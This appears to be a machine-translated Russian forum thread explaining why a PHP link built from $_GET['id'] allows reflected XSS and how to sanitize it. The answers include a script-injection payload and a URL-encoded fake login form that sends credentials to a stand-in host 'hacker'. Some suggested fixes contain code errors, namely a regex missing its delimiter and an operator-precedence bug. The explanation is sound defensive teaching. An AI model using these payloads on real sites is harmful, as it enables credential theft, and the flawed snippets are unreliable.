У меня есть этот код php, и мой автотест безопасности CMS говорит, что это атака XSS. Почему и как я могу это исправить?
$url = "news.php"; if (isset($_GET['id'])) $url .= "?id=".$_GET["id"]; echo "<a href='{$url}'>News</a>";
Это XSS (межсайтовый скриптинг), поскольку кто-то может назвать вашу вещь следующим образом:
?id='></a><script type='text/javascript'>alert('xss');</script><a href='
По сути, превращение вашего кода в
<a href='news.php?id='></a><script type='text/javascript'>alert('xss');</script><a href=''>News</a>
Теперь, когда кто-то посетит этот сайт, он загрузит и запустит alert('xss');
javascript alert('xss');
который также может быть перенаправителем или похитителем файлов cookie.
Как и многие другие, вы можете исправить это, используя filter_var
или intval
(если это число). Если вы хотите быть более продвинутым, вы также можете использовать регулярное выражение для соответствия вашей строке.
Представьте, что вы принимаете az AZ и 0-9. Это будет работать:
if (preg_match("/^[0-9a-zA-Z]+$", $_GET["id"])) { //whatever }
filter_input
даже имеет ручную запись, которая делает именно то, что вы хотите (дезинфицируя ваш вход в ссылку):
<?php $search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS); $search_url = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED); echo "You have searched for $search_html.\n"; echo "<a href='?search=$search_url'>Search again.</a>"; ?>
Да .. просто прикрепите
site.php?id=%27%3E%3C%2Fa%3E%3Cbr%3E%3Cbr%3EPlease+login+with+the+form+below+before%0D%0A%09proceeding%3A%3Cform+action%3D%22http%3A%2F%2Fhacker%2Ftest.php%22%3E%3Ctable%3E%0D%0A%09%3Ctr%3E%0D%0A%09%09%3Ctd%3ELogin%3A%3C%2Ftd%3E%0D%0A%09%09%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%0D%0A%09%3C%2Ftr%3E%0D%0A%09%3Ctr%3E%0D%0A%09%09%3Ctd%3EPassword%3A%0D%0A%09%09%3C%2Ftd%3E%0D%0A%09%09%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dpassword%3E%3C%2Ftd%3E%0D%0A%09%3C%2Ftr%3E%0D%0A%09%3C%2Ftable%3E%0D%0A%09%3Cinput+type%3Dsubmit+value%3DLOGIN%3E%0D%0A%3C%2Fform%3E%3Ca+href%3D%27 ^ | Start XSS Injection
Это приведет к выводу
<a href='news.php?id='></a> <br> <br> Please login with the form below before proceeding: <form action="http://hacker/test.php"> <table> <tr> <td>Login:</td> <td><input type=text length=20 name=login></td> </tr> <tr> <td>Password:</td> <td><input type=text length=20 name=password></td> </tr> </table> <input type=submit value=LOGIN> </form> <a href=''>News</a>
Задав вашему клиенту имя пользователя и пароль для продолжения и отправки информации по http://hacker/test.php
а затем они снова возвращаются нормально, как будто ничего не произошло
Чтобы исправить эту попытку
$_GET["id"] = intval($_GET["id"]);
Или
$_GET["id"] = filter_var($_GET["id"], FILTER_SANITIZE_NUMBER_INT);
Вам потребуется urlencode:
$url .= "?id=" . urlencode($_GET["id"]);
В качестве глобального правила вы должны фильтровать содержимое GET и POST. Используйте filter_var перед использованием содержимого $ _GET ['id'].
$filtered_id = filter_var ($_GET['id'], FILTER_SANITIZE_NUMBER_INT); // or at least $id = (int) $_GET['id'];
Никогда не используйте напрямую $ _GET или $ _POST !!! Вы должны сбежать от него каким-то образом. Например ..
$url = "news.php"; if (isset($_GET['id']) && $id=intval($_GET["id"])>0){ $url .= "?id={$id}"; } echo "<a href='{$url}'>News</a>";